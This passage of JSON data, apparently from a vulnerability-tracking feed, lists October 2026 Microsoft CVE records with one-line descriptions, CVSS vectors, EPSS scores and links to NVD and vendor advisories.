score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102849","cveId":"CVE-2026-102849","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:49.170Z","updatedAt":"2026-10-15T16:04:36.047Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102849","asOf":"2026-10-15T16:04:36.047Z"},"epss":{"probability":0.00769,"percentile":0.55302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102849","type":"primary","publishedAt":"2026-10-13T19:17:49.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102849","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102227","cveId":"CVE-2026-102227","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:48.417Z","updatedAt":"2026-10-26T14:42:25.180Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102227","asOf":"2026-10-26T14:42:25.180Z"},"epss":{"probability":0.00361,"percentile":0.2968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102227&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102227","type":"primary","publishedAt":"2026-10-13T19:17:48.417Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102227","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102227&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102227, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102225","cveId":"CVE-2026-102225","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Windows Text Shaping allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:48.117Z","updatedAt":"2026-10-26T14:47:19.623Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102225","asOf":"2026-10-26T14:47:19.623Z"},"epss":{"probability":0.00904,"percentile":0.59538,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102225","type":"primary","publishedAt":"2026-10-13T19:17:48.117Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102225","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102220","cveId":"CVE-2026-102220","aliases":[],"kind":"vulnerability","title":"Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:47.763Z","updatedAt":"2026-10-26T14:49:28.337Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102220","asOf":"2026-10-26T14:49:28.337Z"},"epss":{"probability":0.00374,"percentile":0.31063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102220","type":"primary","publishedAt":"2026-10-13T19:17:47.763Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102220","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102218","cveId":"CVE-2026-102218","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:47.583Z","updatedAt":"2026-10-26T14:50:15.897Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102218","asOf":"2026-10-26T14:50:15.897Z"},"epss":{"probability":0.00374,"percentile":0.31063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102218","type":"primary","publishedAt":"2026-10-13T19:17:47.583Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102218","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102217","cveId":"CVE-2026-102217","aliases":[],"kind":"vulnerability","title":"Improper resolution of path equivalence in WebDAV allows an authorized attacker to elevate privileges over a network.","summary":"Improper resolution of path equivalence in WebDAV allows an authorized attacker to elevate privileges over a network.","detail":"Improper resolution of path equivalence in WebDAV allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:47.397Z","updatedAt":"2026-10-21T19:39:26.653Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102217","asOf":"2026-10-21T19:39:26.653Z"},"epss":{"probability":0.01262,"percentile":0.69455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102217","type":"primary","publishedAt":"2026-10-13T19:17:47.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102216","cveId":"CVE-2026-102216","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Windows StateRepository API allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Windows StateRepository API allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Windows StateRepository API allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:47.207Z","updatedAt":"2026-10-21T19:41:15.510Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102216","asOf":"2026-10-21T19:41:15.510Z"},"epss":{"probability":0.00365,"percentile":0.30068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102216&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102216","type":"primary","publishedAt":"2026-10-13T19:17:47.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102216","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102216&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102216, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102215","cveId":"CVE-2026-102215","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:47.017Z","updatedAt":"2026-10-21T19:42:49.077Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102215","asOf":"2026-10-21T19:42:49.077Z"},"epss":{"probability":0.00365,"percentile":0.30067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102215","type":"primary","publishedAt":"2026-10-13T19:17:47.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102215","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102214","cveId":"CVE-2026-102214","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Hyper-V allows an authorized attacker to execute code locally.","summary":"Use after free in Windows Hyper-V allows an authorized attacker to execute code locally.","detail":"Use after free in Windows Hyper-V allows an authorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:46.843Z","updatedAt":"2026-10-21T19:45:32.873Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Hyper-V","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102214","asOf":"2026-10-21T19:45:32.873Z"},"epss":{"probability":0.0038,"percentile":0.31709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102214&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102214","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102214","type":"primary","publishedAt":"2026-10-13T19:17:46.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102214","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102214&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102214, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102211","cveId":"CVE-2026-102211","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:46.673Z","updatedAt":"2026-10-20T18:17:11.917Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102211","asOf":"2026-10-20T18:17:11.917Z"},"epss":{"probability":0.00226,"percentile":0.13233,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102211","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102211","type":"primary","publishedAt":"2026-10-13T19:17:46.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102211","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102211, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102209","cveId":"CVE-2026-102209","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer 